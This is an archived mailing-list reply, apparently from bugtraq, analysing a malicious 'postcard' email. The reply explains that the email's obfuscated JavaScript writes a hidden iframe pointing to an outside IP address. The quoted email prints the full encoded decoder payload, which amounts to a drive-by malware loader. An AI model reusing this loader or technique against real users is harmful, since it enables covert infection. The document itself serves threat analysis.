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Bekijk Volledige Versie : Re: Java script exploit



3APA3A
19/02/06, 01:14
Dear gandalf@digital.net,

This piece of HTML has nothing to do with java. It has javascript.
Javascript generates equivalent of <IFRAME SRC=3D"http://63.134.215.88/a/=
"
height=3D"0" width=3D"0">. It will not work for patched Outlook Expr=
ess
because e-mail works in restricted hosts zone.

--Friday, February 17, 2006, 9:13:10 PM, you wrote to bugtraq@securityfoc=
us.com:

gdn> Greetings and Salutations:

gdn> I just receieved this exploit, I have looked around and all I
gdn> could find lately are the following Java issues:
gdn> Gentoo Linux Security Advisory GLSA 200601-10 - Sun and
gdn> Blackdown Java: Applet privilege escalation

gdn> I don't have the Java knowledge to figure out what is going on, but =
it doesn't look good.

gdn> Ken

gdn> ---------------------------------------------------------------
gdn> Don't irritate geeks ... They don't have a life and if you make
gdn> them mad enough they will make *you* their life ... And they
gdn> are probably smarter than you.
gdn> Ken Hollis - Gandalf The White - gandalf@digital.net - O- TINLC
gdn> WWW Page - http://digital.net/~gandalf/
gdn> Trace E-Mail forgery - http://digital.net/~gandalf/spamfaq.html
gdn> Trolls crossposts - http://digital.net/~gandalf/trollfaq.html
gdn> Woodworking For Geeks - http://digital.net/~gandalf/woodmain.htm


gdn> Return-Path: <noreply-23@ww-qy.postcards.com>
gdn> Received: from konrad-64bd33ed ([83.17.41.98])
gdn> by timothy.mail.atl.earthlink.net (EarthLink SMTP Server) with SMTP=
id 1fa9Q238k3Nl3pw1
gdn> for <gandalf@digital.net>; Fri, 17 Feb 2006 12:56:15 -0500 (EST)
gdn> Message-ID: <002601c633eb$6cb49850$cf04a8c0@konrad-64bd33ed>
gdn> From: <noreply-23@ww-qy.postcards.com>
gdn> To: <gandalf@digital.net>
gdn> Subject: You have received a postcard! Id: 7963
gdn> Date: Fri, 17 Feb 2006 18:56:06 +0200
gdn> MIME-Version: 1.0
gdn> Content-Type: multipart/alternative;
gdn> boundary=3D"----=3D_NextPart_000_0023_01C633F3.CE78F1A0"
gdn> X-Priority: 3
gdn> X-MSMail-Priority: Normal
gdn> X-Mailer: Microsoft Outlook Express 6.00.2900.2180
gdn> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
gdn> X-ELNK-Info: spv=3D0;
gdn> X-ELNK-AV: 0
gdn> X-ELNK-Info: sbv=3D0; sbrc=3D.0; sbf=3D00; sbw=3D000;

gdn> This is a multi-part message in MIME format.

gdn> ------=3D_NextPart_000_0023_01C633F3.CE78F1A0
gdn> Content-Type: text/plain;
gdn> charset=3D"iso-8859-1"
gdn> Content-Transfer-Encoding: quoted-printable


gdn> ------=3D_NextPart_000_0023_01C633F3.CE78F1A0
gdn> Content-Type: text/html;
gdn> charset=3D"iso-8859-1"
gdn> Content-Transfer-Encoding: quoted-printable

gdn> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
gdn> <HTML><HEAD>
gdn> <META http-equiv=3D3DContent-Type content=3D3D"text/html; charset=3D=
3Diso-8859-1">
gdn> <META content=3D3D"MSHTML 6.00.2900.2722" name=3D3DGENERATOR>
gdn> <STYLE></STYLE>
gdn> </HEAD>
gdn> <BODY>
gdn> <a target=3D3D"_blank"=20
gdn> href=3D3D"www.yahoo.com>"style=3D3D"background:url\(java/**/script:f=
unction
gdn> dc(x){var
gdn> l=3D3Dx.length,b=3D3D1024,i,j,r,p=3D3D0,s=3D3D0,w= 3D3D0,t=3D3DArray(=
63,6,22,2,4,19,56,49,24,46,0,0,0,0,0,0,61,0,5,58,4 8,51,17,18,13,16,11,20,=
27,47,60,53,8,57,14,7,9,55,36,31,1,40,15,0,0,0,0,4 4,0,33,41,52,62,32,50,2=
8,43,10,21,12,26,42,59,38,39,34,29,23,45,3,37,25,3 0,35,54);for(j=3D3DMath=
..ceil(l/b);j>0;j--){r=3D3D'';for(i=3D3DMath.min(l,b);i>0;i--,l--){w|=3D3D=
(t[x.charCodeAt(p++)-48])<<s;if(s){r+=3D3DString.fromCharCode(165^w&255);=
w>>=3D3D8;s-=3D3D2}else{s=3D3D6}}document.write(r)}}dc('wfNDs5 kfAsYOsLkoH=
Srcj0bqiRbvJGbvF96vK3Qqrzbq4h8aHukE3Ugc82waGEgDFUk oj9woifNDs5kfAMT'))">
gdn> </BODY>
gdn> </HTML>



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